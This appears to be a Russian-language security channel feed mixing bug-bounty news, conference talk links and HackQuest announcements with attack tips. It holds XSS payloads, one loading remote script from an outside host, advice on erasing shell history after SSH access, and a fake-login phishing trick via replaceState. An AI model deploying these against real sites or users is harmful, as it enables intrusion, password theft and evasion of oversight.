Классика

Один из коротких векторов для выполнения JS при XSS атаке:

<q/oncut=alert()>X

Событие oncut сработает, если пользователь попытается вырезать содержимое, т.е. выделет текст и нажмет CTRL+X.
Эксплуатабельность низкая, но для bugbounty, когда жесткие ограничения на длину вектора - сойдёт.

А это более прикольная альтернатива alert'у

<img src onerror="(function(u){var d=document,s=d.createElement('scri'+'pt');s.src=u;(d.head||d.documentElement).appendChild(s);s.parentNode.removeChild(s);}('//bo0om.ru/xss.js'));">

Хоть и боян

Большая коллекция ссылок по эксплуатации дескриализации в Java
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

А вот и доклады с defcon russia подъехали!

Ломаем автомобили с Алексеем Синцовым. Доклад - Testing CAN network with help of CANToolz
Видео - http://www.youtube.com/watch?v=UbkhBIhbh_o
Презентация -
http://www.slideshare.net/AlexeySintsov/testing-can-network-with-help-of-cantoolz
Репозиторий - https://github.com/eik00d/CANToolz

Доклад Александра Большева - Never Trust Your Inputs or How To Fool an ADC
Видео - http://www.youtube.com/watch?v=jH1bgIGUNc0
Презентация -
http://www.slideshare.net/DefconRussia/dcg-25-never-trust-your-inputs-or-how-to-fool-an-adc

Если ты подключен к SSH и хочешь скрыть, что делалось на машине, полезно после всех действий выполнить kill -9 $$

Это убет собственный процесс, а последние команды в .bash_history не запишутся.

Или можно ввести unset HISTFILE (с пробелом в начале), чтобы не писать в историю вовсе.

Кстати, ночью стартует HackQuest!
http://www.phdays.ru/press/news/46226/
Будет много веба, задача - найти уязвимость, успешно ее проэксплуатировать и достать некий секрет (он же флаг).
Даже если не собираешься что-то выигрывать, можешь попробовать найти уязимости на одном из сайтов, задания будут как легкие, так и хардкорные.
Когда стартанём, еще разок напомню ;)

Итак, стартует HackQuest

telegram.me/wlrm_phd_hq_bot

А вот и ссылка на участие :)

Да-да, прямо в telegram!

Удачи!

Посмотри-ка, что тут у нас
https://telegram.org/blog/botprize

Поздравляем победителей HackQuest'а!

1. 11000   firsov
2. 8300   cdump
3. 8300   DarkCaT
4. 8300   rrockru
5. 7000   invent
6. 7000   MERRON
7. 6200   FessDom
8. 5900   AV1ct0r
9. 5500   kreon
10. 5300   yngwie007

Трансляция 12 встречи #DC7499 доступна по ссылке https://youtu.be/F5p_NW5q48M
Программа докладов http://defcon.su/12/

Недавно наткнулся на расширение файла php7.

http://lab.onsec.ru/2016/04/new-php-extensions-should-be-hardcoded.html

Атакуя с помощью XSS, можно динамически подменить текущий url страницы в пределах одного сайта.
Делается это так:
window.history.replaceState(null, '', 'https://site.com/login');
Очень эффективно отобразить фейковое окно аутентификации (мол, сессия твоя истекла) и подменить url. Запоминалки паролей заполнят нужные поля, да и рядовой юзер (даже продвинутый) поведётся на фейк внутри лигитимного сайта. Я бы повёлся. И ты.
Так убиваются два зайца (царствие им небесное) - не требуется воровать cookie, так как они в большинстве случаев уже с флагом HttpOnly и атакующий получает пароли plaintext'ом!

Дорогая, это не то, что ты подумала!

У порносайта Pornhub появилась программа вознаграждений за уязвимости!
https://goo.gl/YzYBM2

Сегодня и завтра на PHDays, уже есть материал для новой статьи ^_^

Массовый взлом telegram на PHDays
https://bo0om.ru/telegram-love-phdays

Уязвимость в Linkedin. Этичный хакер или злоумышленник?
https://bo0om.ru/linkedins-million-dollar-bug

Получил выплату от telegram за найденные уязвимости (хоть они и были некритичные). Приятно.